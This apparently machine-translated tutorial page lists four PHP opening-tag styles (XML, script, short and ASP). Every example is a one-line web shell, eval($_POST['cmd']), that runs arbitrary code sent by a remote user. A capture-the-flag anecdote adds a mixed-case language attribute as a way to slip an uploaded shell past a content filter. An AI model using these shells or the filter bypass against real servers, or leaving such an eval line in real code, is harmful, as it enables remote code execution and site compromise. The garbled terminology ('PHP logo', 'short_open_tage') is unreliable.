PHP logo has 4 styles
XML style ##PHP video tutorial)
<?php
eval($_POST['cmd']);
?>
Copy after login
php recommended markup style.
Server administrators cannot disable it, and this style can be used on all servers.
Script style
<script language="php">
eval($_POST['cmd']);
</script>
Copy after login
It is enabled by default and cannot be disabled
The author once encountered a CTF question that required uploading a shell, but it failed The file content is filtered, and php are replaced with spaces. In this style, the value of language can be in either upper or lower case, so you can construct the following code to bypass
<script language="PhP">
eval($_POST['cmd']);
</script>
Copy after login
Short style
<?
eval($_POST['cmd']);
?>
Copy after login
This style needs to be configured in Enable the short_open_tage option in the file php.ini
This style is not supported by default in many environments
ASP style
<%
eval($_POST['cmd']);
%>
Copy after login
This style The asp_tag option needs to be enabled in the configuration file php.ini
It is disabled by default
The above is the detailed content of What are the logos of PHP?. For more information, please follow other related articles on the PHP Chinese website!